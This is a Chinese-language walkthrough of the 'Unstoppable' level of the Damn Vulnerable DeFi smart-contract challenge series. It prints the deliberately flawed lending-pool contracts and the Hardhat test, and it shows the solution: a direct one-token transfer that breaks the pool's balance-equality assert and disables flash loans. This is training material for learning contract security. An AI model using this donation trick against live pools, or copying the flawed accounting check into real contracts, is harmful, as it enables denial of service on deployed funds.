Defi黑客系列：該死的易受攻擊DeFi (一) - 無法阻擋

Damn Vulnerable DeFi 是一個 Defi 智能合約攻擊挑戰系列。內容包括了閃電貸攻擊、借貸池、鏈上預言機等。在開始之前你需要具備 Solidity 以及 JavaScipt 相關的技能。針對每一題你需要做的就是保證該題的單元測試能夠通過。

先執行下面的命令

# 克隆仓库
git clone https://github.com/tinchoabbate/damn-vulnerable-defi.git
# 切換分支
git checkout v2.2.0
# 安裝依賴
yarn

在 test 文件中的 *.challenge.js 編寫你的解決方案，之後運行 yarn run [挑戰名], 沒有報錯則通過。

首先開始第一題 Unstoppable

題目描述：

有一個餘額為 100 萬個 DVT 代幣的借貸池子，免費提供了閃電貸的功能。需要有一種方法能夠攻擊該借貸池，並阻止該借貸池的功能。

該題的智能合約共有兩個文件

UnstoppableLender.sol 借貸池合約

contract UnstoppableLender is ReentrancyGuard {
    IERC20 public immutable damnValuableToken; // DVT token實例
    uint256 public poolBalance; // 當前合約中的 DVT 餘額

    constructor(address tokenAddress) {
        require(tokenAddress != address(0), "Token address cannot be zero");
        // 由 DVT token 地址創建合約實例
        damnValuableToken = IERC20(tokenAddress);
    }

    // 存入 token 到該合約中
    function depositTokens(uint256 amount) external nonReentrant {
        require(amount > 0, "Must deposit at least one token");
        // 調用 DVT token 智能合約中的 transferFrom 方法
        // 從合約調用者的DVT餘額中轉 amont 數量到該合約中
        damnValuableToken.transferFrom(msg.sender, address(this), amount);
        // 增加餘額
        poolBalance = poolBalance + amount;
    }
    
    // 提供的閃電貸方法
    function flashLoan(uint256 borrowAmount) external nonReentrant {
        require(borrowAmount > 0, "Must borrow at least one token");

        // 獲取該合約中 token 餘額
        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        // 確保餘額大於借出的數量
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

        // 確保記錄的餘額等於真實的餘額
        assert(poolBalance == balanceBefore);

        // 將 token 從合約中轉出到合約調用者
        damnValuableToken.transfer(msg.sender, borrowAmount);

        // 執行合約調用者的 receiveTokens 方法
        IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);

        // 確保已返還 token
        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }
}

ReceiverUnstoppable.sol 執行閃電貸的合約

import "../unstoppable/UnstoppableLender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract ReceiverUnstoppable {
    UnstoppableLender private immutable pool; // 借貸池實例
    address private immutable owner;

    constructor(address poolAddress) {
        pool = UnstoppableLender(poolAddress);
        owner = msg.sender;
    }

    // Pool will call this function during the flash loan
    function receiveTokens(address tokenAddress, uint256 amount) external {
        // 確保該方法的調用者是 pool 地址
        require(msg.sender == address(pool), "Sender must be pool");
        // 返還 token 到 msg.sender
        require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
    }

    // 執行閃電貸
    function executeFlashLoan(uint256 amount) external {
        require(msg.sender == owner, "Only owner can execute flash loan");
        pool.flashLoan(amount);
    }
}

智能合約很簡單，有個借貸池的合約，我們可以往其中存入 token, 並且提供了閃電貸的功能。還有個執行閃電貸功能的合約，其可以調用借貸池合約的 flashLoan 方法借出 token，並在其回調的方法中返還借出的 token。

為了完成使借貸池功能失效，需要在 test/unstoppable/unstoppable.challenge.js 文件中編寫你的攻擊代碼。

const { ethers } = require('hardhat')
const { expect } = require('chai')

describe('[Challenge] Unstoppable', function () {
  let deployer, attacker, someUser

  // Pool has 1M * 10**18 tokens
  const TOKENS_IN_POOL = ethers.utils.parseEther('1000000')
  const INITIAL_ATTACKER_TOKEN_BALANCE = ethers.utils.parseEther('100')

  before(async function () {
    /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
		
    // 生成三個帳號
    [deployer, attacker, someUser] = await ethers.getSigners()
    
    // 獲取token合約和借貸池合約
    // token 合約位於 contracts/DamnValuableToken.sol，構造函數中給 deployer type(uint256).max 個token
    const DamnValuableTokenFactory = await ethers.getContractFactory('DamnValuableToken', deployer)
    const UnstoppableLenderFactory = await ethers.getContractFactory('UnstoppableLender', deployer)
    
    // 本地節點中發布 token 合約 和 借貸池合約
    this.token = await DamnValuableTokenFactory.deploy()
    this.pool = await UnstoppableLenderFactory.deploy(this.token.address)
    
    // deployer 授權給借貸池合約可以操作其帳戶的 TOKENS_IN_POOL 數量的token
    await this.token.approve(this.pool.address, TOKENS_IN_POOL)
    // 將 deployer 的 TOKENS_IN_POOL 數量的 token 轉入到借貸池
    await this.pool.depositTokens(TOKENS_IN_POOL)
    
    // 將 deployer 的 INITIAL_ATTACKER_TOKEN_BALANCE 數量的 token 轉入到 attacker 地址
    await this.token.transfer(attacker.address, INITIAL_ATTACKER_TOKEN_BALANCE)
    
    // 斷言：確保借貸池中 token 轉入成功
    expect(
      await this.token.balanceOf(this.pool.address)
    ).to.equal(TOKENS_IN_POOL)
    
    // 斷言：確保 attacker 地址中 token 轉入成功
    expect(
      await this.token.balanceOf(attacker.address)
    ).to.equal(INITIAL_ATTACKER_TOKEN_BALANCE)

    // 獲取執行閃電貸的合約
    const ReceiverContractFactory = await ethers.getContractFactory('ReceiverUnstoppable', someUser)
    // 發布合約
    this.receiverContract = await ReceiverContractFactory.deploy(this.pool.address)
    // someUser 執行合約的 executeFlashLoan 方法，借出10個 token 並返還
    await this.receiverContract.executeFlashLoan(10)
  })

  it('Exploit', async function () {
    /** CODE YOUR EXPLOIT HERE */
    // 從 attacker 的帳戶轉 1 個token到借貸池中
    // 該代碼可完成攻擊
    await this.token.connect(attacker).transfer(this.pool.address, 1)
  })

  after(async function () {
    /** SUCCESS CONDITIONS */

    // It is no longer possible to execute flash loans
    await expect(
      this.receiverContract.executeFlashLoan(10)
    ).to.be.reverted
  })
})

該測試腳本主要做了幾件事

從 deployer 轉入 1000000 個 token 到借貸池中
從 deployer 轉入 100 個 token 到 attacker 地址中
someUser 執行閃電貸借出了 10 個 token 並歸還
從 attacker 轉入 1 個 token 到借貸池中
再次執行閃電貸會報錯

為什麼執行下面的代碼會使用閃電貸功能失效呢

await this.token.connect(attacker).transfer(this.pool.address, 1)

原因在於借貸池合約的 flashloan 方法中的assert(poolBalance == balanceBefore); 期望 poolBalance 的值等於真實餘額。當調用 depositTokens 存入 token 時，poolBalance 變量能夠正確的計算。但當我們手動轉入 token 時，poolBalance 變量並沒有如期的進行相加。而此時借貸池合約中的 token 真實餘額是大於 poolBalance 的，所以會使閃電貸功能失效。

最後執行 yarn unstoppable , 測試通過！

完整代碼